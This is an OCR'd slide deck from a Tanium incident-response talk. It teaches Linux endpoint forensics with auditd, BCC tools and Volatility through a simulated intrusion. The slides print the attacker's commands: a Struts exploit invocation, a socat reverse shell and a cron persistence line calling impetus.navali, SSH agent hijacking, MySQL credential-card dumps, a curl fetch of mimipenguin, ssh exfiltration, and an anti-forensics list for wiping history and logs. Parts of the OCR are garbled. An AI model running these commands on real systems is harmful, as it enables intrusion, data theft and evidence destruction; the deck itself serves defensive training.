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#whoami

Director of Endpoint Detection & Response (EDR) at Tanium

Seasoned Incident Response professional with over 8 years’ experience leading high-profile
cases around the world, such as advanced targeted attacks, nation-state attacks, and data
breaches, to name a few

Public speaker at industry recognised conferences around the world:

OSDFCon (U.S.) 2018
IMF (Germany) 2018
OSDFCon (U.S.) 2017
BSidesNOLA (U.S.) 2017
BSidesMCR (U.K.) 2015

Research focus on memory analysis and automation, *nix based forensics, cloud forensics,
and triage analysis
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Investigating Linux Endpoints

Investigating Linux Endpoints is often seen by experienced and inexperienced Investigators alike
as:

"too complicated"

"where do | start?"

"it's not worth the effort"

This talk will demystify these common misconceptions and provide the attendees invaluable
insights by investigating Linux Endpoints in an innovative manner by using a scenario-based
investigation

The attendees will gain theoretical and practical familiarity of artefacts when investigating Linux
endpoints that are often overlooked in a methodical manner
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Agenda

Why are people hesitant in undergoing analysis on Linux Endpoints?
Linux 101

Scenario-based investigation
Attacker activity
Forensic, Triage, and Memory Analysis

Reference Guides
Linux artefacts
Linux triage commands
Anti-Forensic Techniques
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Why are people hesitant in.
undergoing analysis on Linux
Endpoints?



Why are people hesitant in undergoing analysis on Linux Endpoints?

Lack of experience and understanding of the Linux Operating System

Those coming from Windows background are intimidated by the command line
Too many flavours and versions of the Linux Operating System

Lack of administering of Linux Endpoints

Lack of knowledge of the Linux File Hierarchy Structure (FHS)
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Linux 101



Linux 101

Everything is a file or a directory in Linux
Absolute
Relative

The Linux kernel is open source under GNU General Public License
Monolithic
Operating System is in kernel space

Multi-user access and efficient File System

Command Line interpreter: Bash (Bourne Again Shell)
Built-in commands
Scripts
Automation

Integrations have already taken place with Windows Subsystem for Linux (Windows 10)
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Linux 101
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Scenario-based investigation



Scenario-based investigation

Corporation X have been notified by an external source that unusual activity is taking place on one of
their servers

No further information has been provided in relation to TTPs about the adversarial activity

The DFIR team has been tasked to determine:
Initial Infection
Lateral Movement
Data Exfiltration
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Scenario-based investigation

Caveats:

In the past I've talked about how plaso, timesketch, and TSK (The Sleuth Kit) can be used to
undergo timeline and forensic analysis

This year | want to introduce 2 different components that you may not be aware of

Share with the community how undergoing forensic and triage analysis on Linux Endpoints
with these components can provide invaluable insights
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Scenario-based investigation

Tools that | leveraged to undergo the analysis:

Auditd
Userspace audit daemon that receives events from the kernel
You can create your own rules that are relevant to your environment

BPF Compiler Collection (BCC)
BPF was originally developed to optimise packet filtering
In-kernel sandboxed virtual machine, where byte code can be sent to run on certain
events you define
BCC creates efficient kernel tracing and manipulation of programs, where eBPF is being
leveraged
BCC makes BPF programs easier to write with kernel instrumentation in C, including front-
ends in python and lua
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Scenario-based investigation

Linux bce/BPF Tracing Tools

filetop opensnoop c* java* node* mysqld_gslower gethostlatency Other:
filelife fileslower Statsnoop  php* python* bashreadline memleak capable
vfscount vfsstat syncsnoop ruby* sslsniff
ucalls uflow syscount
cachestat cachetop ugc uobjnew killsnoop
dcstat dcsnoop ustat uthreads
mountsnoop | execsnoop
N - pidpersec
Applications
cpudist
trace N I System Libraries 4 / runqlat runglen
argdist \ \_ ¥ System Call Interface ¥ / Saadi ack _deteckor
e = :
funcetowe L : / cpuunclaimed
funcslower VFS Sockets Scheduler e .
funclatenc . offcputime
S # File Systems TCP/UDP 4 S wakeuptime
profile Volume Manager IP Virtual \ offwaketime
Block Device Interface Ethernet Memory \\ softirgs
v f 4 Device Drivers oomkill memleak
mdflush I slabratetop
btrfsdist hardirgs ttysnoop

btrfsslower tept tcplife tcpt m
extd4dist extdslower D o e e

3 tcpconnect tcpaccept
xfsdist xfsslower

3 tcpconnlat tcpretrans llestat
zfsdist zfsslower

biotop biosnoop profile —p|
biolatency bitesize
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Scenario-based investigation

Tools that | leveraged to undergo the analysis:
The Sleuth Kit (TSK)
LIME

volatility
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Scenario-based investigation

Initial Infection

- Attacker infrastructure
- ldentifies Tomcat Apache Server

python poc.py http://webapp primary:8080/webapp/"Is -Itr"

python poc.py http://webapp primary:8080/webapp/ "cat /etc/passwd"

socat file:tty’,raw,echo=0 tcp-listen:9876

python poc.py http://webapp primary:8080/webapp/ "socat tcp-connect:impetus.navali:9876 exec:sh,pty,stderr,setsid,sigint,sane"

TAN'UM ©2017 Tanium. All rights reserved


http://webapp_primary:8080/webapp/
http://webapp_primary:8080/webapp/
http://webapp_primary:8080/webapp/

Scenario-based investigation
Situational Awareness
«  Attacker activity on webapp_primary
unset HISTFILE
unset HISTSIZE
id
uname -a
w
ifconfig
ps -ef
Is -ItR /
netstat -utanp

cat /etc/passwd
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Scenario-based investigation
Situational Awareness
Attacker activity on webapp_primary

cat /etc/group

Is -Itr /home/*/.*history*

less /home/*/. *history*
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Scenario-based investigation

Analysis on webapp_primary
«  Auditd Logs - /var/log/audit/audit.log*

ap_fp=6

EPOCH time conversion:
cat /var/log/audit/audit.log* | ausearch -i

zcat /var/log/audit/audit.log* | ausearch -i

date -d @1570699595 = Thu 10 Oct 09:26:35 UTC 2019
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Scenario-based investigation

Analysis on webapp_primary
- BCC tcptop
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Scenario-based investigation

Analysis on webapp_primary
- BCC opensnoop

nsnoop
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Scenario-based investigation

Analysis on webapp_primary
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on webapp_primary
- BCC tcptop
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Scenario-based investigation
Privilege Escalation & Persistence
- Attacker activity on primary_webapp
cat /etc/sudoers
sudo -|
sudo vi -c :!/bin/bash'
id

whoami

crontab -
cat /etc/crontab
echo "0 * * * * root socat tcp-connect:impetus.navali:9876 exec:sh,pty,stderr,setsid,sigint,sane" >> /etc/crontab

cat /etc/crontab
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Scenario-based investigation

Analysis on webapp_primary

« Auditd Logs - /var/log/audit/audit.log*

Thu 10 Oct 09:39:10 UTC 2019
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Scenario-based investigation

Analysis on webapp_primary
- BCC opensnoop

_primary tools ./opensnoop
PID COMM FD ERR PATH
/proc/self/fd

/etc/

N N

)
A/

G

~ -

oY
WA NA

)
)

-

socat

socat

~

S~
~

socat

'

1.119144000
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Scenario-based investigation

Analysis on webapp_primary

Crontab - /etc/crontab

# Example of job definition:

R minute (0 - 59)

B s hour (0 - 23)

# | [ e mm— - day of month (1 - 31)

#:] | | GEessses month (1 - 12) OR jan,feb,mar,apr

#1 | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed, thu, fri,sat

M : : e * user-name command to be executed

O ¥ * * * root socat tcp-connect:impetus.navali:98/6 exec:sh,pty,stderr,setsid,sigint, sane

/etc/crontab (END)

c

socat tcp-connect:impetus.navali:9876 exec:sh,pty,stderr,setsid,sigint, sane
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Scenario-based investigation

Analysis on webapp_primary

«  Messages - /var/log/messages

TAN'UM ©2017 Tanium. All rights reserved




Scenario-based investigation

Analysis on webapp_primary

«  Cron - /var/log/cron

primary CR(

RELOAD (/etc,
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Scenario-based investigation

Lateral Movement

«  Attacker activity on webapp_primary
for network in “seq 1 254°; do ping -c 2 192.168.9.Snetwork ; done
for portin "21 22 80 8080 3306"; do nc -vn -w 2 192.168.9.133 Sport ; done
pstree -p root
strings /proc/8762/environ
SSH_AUTH_SOCK=/tmp/ssh-LohY1H3HRf/agent.8758 ssh-add -I

SSH_AUTH_SOCK=/tmp/ssh-LohY1H3HRf/agent.8758 ssh mysql_cluster

TANIUM
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Scenario-based investigation

Analysis on webapp_primary
« Auditd Logs - /var/log/audit/audit.log*

items=2

k

)e=NORMAL
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Scenario-based investigation

Analysis on webapp_primary
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on webapp_primary
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on webapp_primary
- BCC tcptop
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Scenario-based investigation

Analysis on webapp_primary
« Auditd Logs - /var/log/audit/audit.log*

comm="¢
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Scenario-based investigation

Analysis on webapp_primary

« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on webapp_primary
- BCC tcptop
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Scenario-based investigation

Analysis on webapp_primary
Bash history - /root/.bash_history

id
whoami

root socat tcp-connect:impetus.navali:9876 exec:sh,pty,stderr,setsid,sigint,sane” >> /etc/crontab

"N ¥ ¥ + *

for network in ‘seq 1 254°; do ping -c 2 192.168.9.%network ; done
for port in 21 22 80 8080 3306; do nc -vn -w 2 192.168.9.133 $port; done
pstree -p root

strings /proc/8762/environ

SSH AUTH_SOCK=/tmp/ssh-LohY1H3HRf/agent.8758 ssh-add -1

SSH _AUTH SOCK=/tmp/ssh-LohY1H3HRf/agent.8758 ssh mysql cluster
15 =1tF

exit

.bash history (END)
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Scenario-based investigation

Analysis on webapp_primary

Volatility linux_bash plugin

oami
cat /etc/cront
crontab -1

echo "0 * * root socat tcp-connect:img

SSH_AUTH_S0C
SSH_AUTH_.

id

whoami

cat /etc/cront

crontab -1

echo "0 * * * * root
/etc/crontab
network done

arty .

trings /pt i :
H AUTH_SOCK=/tm h hY1H3HRf/agent.
SSH_AUTH_SOCK=/tmp/ssh-LohY1H3HRf/ag
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Scenario-based investigation

Analysis on webapp_primary

«  Volatility linux_netstat plugin

TCP 192.168.9.137 : 22 192.168.9.140 : 38430 ESTABLISHED
UNIX 103652 SSi 3
103680 sshd/8758/ /tmp/ssh-LohY1lH3HRf/agent.8758

:38430 ESTABLISHED

~ehA /070 OO gy B ~hV1 9 B i e 0750
sshd/8758 /tmp/ssh-LohY1H3HRf/agent.8758

TAN'UM ©2017 Tanium. All rights reserved




Scenario-based investigation
Situational Awareness & Availability
«  Attacker activity on mysql_cluster

ps -ef

netstat -untap

ss -untap

Is -ltr /

Is -ItR /

cd /var/lib/mysql

systemctl stop mysq|

systemctl start mysq|l

sudo mysqld --skip-grant-tables --skip-networking &
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Scenario-based investigation
Access mySQL Database
«  Attacker activity on mysql_cluster
sudo mysq|
FLUSH PRIVILEGES;
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('50m30n3w45h3r3!');
FLUSH PRIVILEGES;

exit;

mysqgldump -u root -p50m30n3w45h3r3! credit_cards | gzip > credit_cards.sql.gz
mysqldump -u root -p credit_cards | gzip > credit_cards.sql.gz
mysqgldump -u root -p suppliers | gzip > suppliers.sql.gz

mysgldump -u root -p employees | gzip > employees.sql.gz
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Scenario-based investigation

Analysis on mysql_cluster
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on mysql_cluster
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on mysql_cluster
« Auditd Logs - /var/log/audit/audit.log*

ad="mysqldump

TAN'UM ©2017 Tanium. All rights reserved




Scenario-based investigation

Analysis on mysql_cluster
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on mysql_cluster

- BCC bashreadline illustrates the time, the PID, and the command that was run by the adversary

I
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emctl start mysql
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Scenario-based investigation
Situational Awareness, Credential Dumping, Lateral Movement, and Exfiltration
«  Attacker activity on mysql_cluster
mount
df -h
Is -Itr /nfs_mount/mysql_databases/
curl -L http://impetus.navali/mimipenguin.py -o /dev/shm/mimipenguin.py
python mimipenguin.py
vi creds.txt
showmount -e nfs_server
mkdir mounteverything
mount -t nfs nfs_server:/ mounteverything

mount

TANIUM
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Scenario-based investigation

Situational Awareness, Credential Dumping, Lateral Movement, and Exfiltration

«  Attacker activity on mysql_cluster
cat /etc/fstab
cat /etc/exports
cd global_mounts/
Is -Itr mysqgl_databases/
Is -Itr secret_projects/
Is -Itr webservers/
Is -Itr gpg_keys/
Is -Itr ftp_sites/
mv ../../*.sql.gz .

cd global_mounts/
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Scenario-based investigation
Situational Awareness, Credential Dumping, Lateral Movement, and Exfiltration

«  Attacker activity on mysql_cluster

tar czvf files.tar.gz credit_cards.sql.gz suppliers.sql.gz employees.sql.gz mysql_databases/ secret_projects/ webservers/
gpg_keys/ ftp_sites/

ssh -p 1 percutiens@impetus.navali "cat > files.tar.gz" < files.tar.gz
umount /dev/shm/mounteverything
rm -rf /dev/shm/mounteverything /dev/shm/creds.txt /dev/shm/mimipenguin.py
cd /root/.ssh/
sed -i '1d' known_hosts
history -cw
exit
- Attacker activity on webapp_primary

exit

TANIUM
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Scenario-based investigation

Analysis on mysql_cluster
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on mysql_cluster
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on mysql_cluster
«  The Sleuth Kit (TSK) - /root/.ssh/known_hosts

4096 .a.. d/drwx 0 ) 415607 Jroot/.ss
666 .a.. r/rrw-r--r-- @ 0 4 ¢ Jroot/. 1/known_hosts
666 .a.. r/rrw-r--r-- € 0 104049 /root/.ssh/seduu3Ihm (deleted-realloc)

Thu Oct

Jroot/.ss
Jroot/.s
/root/.
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Scenario-based investigation

Analysis on mysql_cluster
- BCC filelife

y
~ |

fusr/share/bcc/

J W

w

o
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Scenario-based investigation

Analysis on mysql_cluster
« Auditd Logs - /var/log/audit/audit.log*
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Scenario-based investigation

Analysis on mysql_cluster
- BCC tcptracer

root@mysql cluster:/usr/share/bcc/tools# ./tcptracer

Tracing TCP established connections. Ctrl-C to end.
SADDR DADDR SPOR DPORT

VL L

T PID MM IP

—~ 4

showmount
nowmount
ssh
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Scenario-based investigation

Analysis on mysql_cluster
- BCC bashreadline
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Scenario-based investigation

Analysis on mysql_cluster

BCC bashreadline
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Scenario-based investigation

Analysis on mysql_cluster
« SSH login - /var/log/wtmp
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Scenario-based investigation

Analysis on mysql_cluster
« SSH lastlog - /var/log/lastlog

root@mysql cluster:~#

Username Port gely Latest
root pts/3 192.168.9.132 Thu Oct 10

TAN'UM ©2017 Tanium. All rights reserved



Scenario-based investigation

Analysis on mysql_cluster
« SSH login and logout - /var/log/auth.log
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Scenario-based investigation

Attack Path
Database Cluster
Webapp Cluster Data
Exfiltration mysql_cluster
Data - - .
Exflltra—tlon_ —— - . —) )
Attacker - - - MySQL
Infrastructure € = = ~ webapp_primary, ©  SSH Dump < |
T - - Hijacking ;
oo - ’ Data ¢
Tomcat J  Tomcat A Exfiltration g I NFS
Attacker Apache Apache 7} y g Mount
Struts Struts A
I SSH V4 ’
i Login V4 A”
nfs_server
Linux Admin
NFS Cluster
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Reference Guides:
Linux artefacts



Linux artefacts

Memory

Procfs

TANIUM

/dev/imem
/dev/fmem
/proc/kcore
/dev/crash

/proc/[0-9]*/environ
/proc/[0-9]*/comm
/proc/[0-9]*/cmdline
/proc/[0-9]*/exe
/proc/[0-9]*/maps
/proc/[0-9]*/map_files
/proc/[0-9]*/status
/proc/[0-9]*/stat
/proc/[0-9]*/cwd/*
/proc/[0-9]*/net/*
/proc /[0-9]*/root/*
/proc/[0-9]*/fd/[0-9]*/
/proc/[0-9]*/task/
/proc/[0-9]*/task/[tid]/comm
/proc/[0-9]*/net

/proc/self/environ
/proc/net/route
/proc/sched_debug
/proc/self/cwd/*
/proc/net/arp
/proc/cmdline
/proc/modules
/procl/tty

Journals
/run/log/journal/*/system.journal
/run/systemd/journal/*

Kernel Modules
/etc/modules.conf
/etc/modprobe.d/*

Shared Libraries
/etc/ld.so.preload, /etc/ld.so.conf
/etc/ld.so.conf.d/*, /etc/ld.so.cache
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Linux artefacts

Home directories

TANIUM

Bash/Shell/TCSH/ZSH History Files
/home/*/ {bash,sh,tcsh,zsh}*history*
root/.{bash,sh,tcsh,zsh}*history*

Bash Logout
/home/*/.bash_logout

SSH Known Hosts Files
/home/*/.ssh/known_hosts
/root/.ssh/known_hosts

SSH Authorized Keys Files
/home/*/.ssh/authorized_keys
/root/.ssh/authorized_keys

SSH Public/Private Keys
/home/*/.ssh/id_rsa.pub
/home/*/.ssh/id_rsa

Bash Settings
/home/*/.bash_profile, /home/*/.bashrc

/home/*/.bash_aliases, /etc/profile, /etc/bashrc

mySQL/Postgres/SQLite History Files
/home/*/.{mysql,psql,sqlite}*history*

Python Interactive History Files
/home/*/.python_history

Password and Shadow Files
Password Files
/etc/passwd
Shadow Files
/etc/shadow
Group Files
/etc/group
Group Shadow Files
/etc/gshadow

Successful Logins, Logouts, and Failed
Current Logins
Ivar/run/utmp
Failed Logins
Ivar/log/btmp*, /var/log/faillog
Last Logged Users
Ivar/log/wtmp*, /var/log/lastlog

Deleted Files

/home/*/.local/share/Trash/*
/home/*/.local/share/info/*.trashinfo
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Linux artefacts

Sudoers Files and Directories
/etc/sudoers
/etc/sudoers.d/*

Recently Used Files (GTK)
/home/*/.local/share/recently-used.xbel

Cron Configuration Files
/etc/crontab, /etc/cron.d/*
/etc/cron.hourly/*, /etc/cron.daily/*, /etc/cron.weekly/*
/etc/cron.monthly/*

SSH Configuration and Host Public Key Files
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_*_key.pub

PAM Configuration/Service Files
/etc/pam.conf
/etc/pam.d/*

TANIUM

Mount Points, including NFS
/etc/fstab
/etc/exports

Available Shells
/etc/shells

SSL Certificates
letc/pkiltis/certs/* (RHEL based)
/etc/pki/CA/* (RHEL based)
letc/ssl/certs/* (Debian based)

RPM GPG Keys
letc/pki/rpm-gpg/*

APT Trusted Keys
/etc/apt/trusted.gpg®
/usr/share/keyrings/*.gpg
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Linux artefacts

Systemd
letc/systemd/system/*, /run/systemd/*
Ivar/lib/systemd/*, /usr/lib/systemd/*

SysV Init, Upstart, LSB, Xinetd, rc.local
letc/re.d/init.d/*, /etc/rc*.d/rc*.d/*, /etc/init.d/*
/etc/inittab, /etc/init.d/*

/etc/insserv.conf, /etc/insserv.conf.d/*
/etc/xinetd.conf, /etc/xinetd.d/*
/etc/re.local

Spool Cron/At/Cups/Anacron
/var/spool/cron/*
/var/spool/at/spool
/var/spool/cups/*
/var/spool/anacron/cron.*/

Users Viminfo and Vimrc
/home/*/.viminfo, /home/*/.vimrc

Users Less History
/home/*/.lesshst
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Java Cache Files
/home/*/.java/deployment/

Linux Version
/etc/redhat-release
/etc/Isb-release
/etc/os-release

Kubernetes
/var/run/secrets/kubernetes.io/serviceaccount

Docker
/var/lib/docker/containers/*
/var/log/messages

Hadoop Application Files
/hadoop/yarn/system/rmstore/
FSRMStateRoot/RMAppRoot/
application_*/application_*
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Linux artefacts

Log Files
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Syslog
/var/log/messages™* (RHEL based)
Ivar/log/syslog* (Debian based)
Security Messages
Ivar/log/secure* (RHEL based)
/var/log/auth.log* (Debian based)
Auditd, including SELinux
/var/log/audit/audit.log*®
AppArmor
/var/log/apparmor (Debian based)
Cron
Ivar/log/cron*
Apache

Ivar/log/httpd/access_logs* (RHEL based)

Ivar/log/apache2/access.log*

Tomcat
/var/log/tomcat*/localhost_access_log*
/usr/share/tomcat*/logs/*access_log*

Nginx
/var/log/nginx/access.log*

mySQL (Start and Failure)
/var/log/mysql/mysql.log

Vsftpd
/var/log/vsftpd.log*

Firewall
/var/log/firewalld* (RHEL based)
/var/log/ufw.log* (Debian based)
/var/log/kern.log*

Yum Installed Packages
/var/log/lyum.log* (RHEL based)

Dpkg Installed Packages
/var/log/dpkg.log* (Debian based)

APT Packages
/var/log/apt/history.log* (Debian based)
/var/log/apt/term.log* (Debian based)
/var/cache/apt/archives (Debian based)
Daemon
/var/log/daemon.log* (Debian based)
Boot
/var/log/boot.log*
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Linux triage commands

Running Processes
/bin/ps auxwww
/bin/ps -ef
/bin/pstree
/sbin/Isof -LV

Network Interfaces
/bin/sbin/ip a s
/bin/sbin/ip route
/sbin/ifconfig -a

Logged in Users
/bin/w -i
/bin/who -a

Network Connections
/sbin/Isof -i4 -i6
/bin/netstat -untap
/sbin/ss -untap

List Cron Jobs
/bin/crontab -

TANIUM

Last Logged Users and Dump {u,w,b}*tmp in raw format
/bin/last -Faixw, /bin/lastlog, /bin/lastb
/binfutmpdump /var/run/utmp
/bin/utmpdump /var/log/wtmp
/bin/utmpdump /var/log/btmp

List Services
/bin/systemctl
/bin/systemctl -all
/bin/systemctl list-unit-files
/etc/init.d/<service_name> status

SELinux Status
/sbin/sestatus

List RPM Package Manager
/bin/rpm -a (RHEL based)

List Yum Packages
/bin/yum list (RHEL based)
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Linux triage commands

List Kernel Modules Loaded
/sbin/lsmod

List Kernel Ring Buffer
/bin/dmesg -T

Core Dump of a Running Processes
/bin/gcore -a -o <filename> <PID>

List Temporary Directories
/bin/ls -ItRa /tmp/ /var/tmp/ /dev/shm/

List GPG Keys
/bin/gpg --list-keys
/bin/gpg --list-public-keys
/bin/gpg --list-secret-keys

Mount Points
/bin/mount
/bin/df -h
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Procfs
/bin/ls -ItR /proc/[0-9]*/exe
/bin/ls -ItR /proc/[0-9]*/cmdline
/bin/ls -ItR /proc/[0-9]*/environ

Shared Libraries for LD_PRELOAD
/sbin/ldconfig -p

Display Environment Variables
/bin/env
/bin/printenv

List Shell Variables
set

List File Access Controls
/usr/bin/getfacl -R /tmp /var/tmp

TTY (TeleTYpewriter)
¢ty
stty -a
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Linux triage commands

List File Attributes - Ptrace System Calls
/bin/lsattr -a /tmp /var/tmp /dev/shm - ptrace
AppArmor Status «  Ftrace System Calls
/usr/sbin/aa-status (Debian based) - ftrace <PID>
trace-cmd record
APT GPG Keys « trace-cmd start

/usr/bin/apt-key list (Debian based)
Memory of the Process
List Debian Package Manager «  [proc/[0-9]*/mem
/usr/bin/dpkg -l (Debian based)
List Firewall Rules

Strace - /sbin/iptables -L -v -n (RHEL based)
« /bin/strace <process name> «  /bin/firewalld-cmd --list-all (RHEL based)
/bin/strace -p <PID> «  [usr/sbin/ufw status verbose (Debain based)
/bin/strace -i <process name>
/bin/strace -r <process name> «  Auditd
/bin/strace -c <process name> «  Jusr/sbin/auditctl -I
/usr/sbin/auditctl -w /etc/shadow -k shadowfile -p rwxa
Library and System Calls «  Jusr/sbin/ausearch -f /etc/shadow
ltrace -S

TANIUM ©2017 Tanium



Reference Guides:
Anti-Forensic Techniques



Anti-Forensic Techniques
Disclaimer: For Educational Purposes Only

« unset HISTFILE «  history -c

« unset HISTSIZE «  history -cw

- HISTSIZE=0 - set +o history

« export HISTFILE=/dev/null «  echo 'set +o history' >> ~/.bashrc

«  export HISTFILE=/dev/zero < echo 'set +o history' >> /etc/profile

« export HISTSIZE=0 « In/dev/null ~/.bash_history -sf

«  export HISTFILESIZE=0 «  touch -r <file_name> <mactime-to-change>

« echo 'export HISTIGNORE="w:id:Is" >> ~/.bashrc - touch -a <change-file-name_access-time>

« export HISTTIMEFORMAT="" «  touch -d <change-file-name_time>

- kill-9 $$ «  touch -m <change-file-name_modification_time>

« echo " > ~/.bash_history «  touch -t <change-file-name_time>

« rm ~/.bash_history -rf « utmpdump /var/log/wtmp > wtmp_file.txt

«  history -d <line_number> - cat wtmp_file.txt | grep -v ‘user’ > user.txt
utmpdump -r < user.txt > /var/log/wtmp
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Conclusion

Investigating Linux endpoints is not as difficult as you might assume

The scenario-based investigation has hopefully given you an appreciation of real world scenarios
and how you can leverage various techniques to investigate and triage Linux Endpoints

Please use and share the Reference Guides for Linux artefacts, Linux triage commands, and the
Anti-Forensic Techniques as a reference point with your colleagues and peers when investigating
Linux Endpoints

I’'m on Twitter if anyone wants to discuss further or ask questions
@d1rdc
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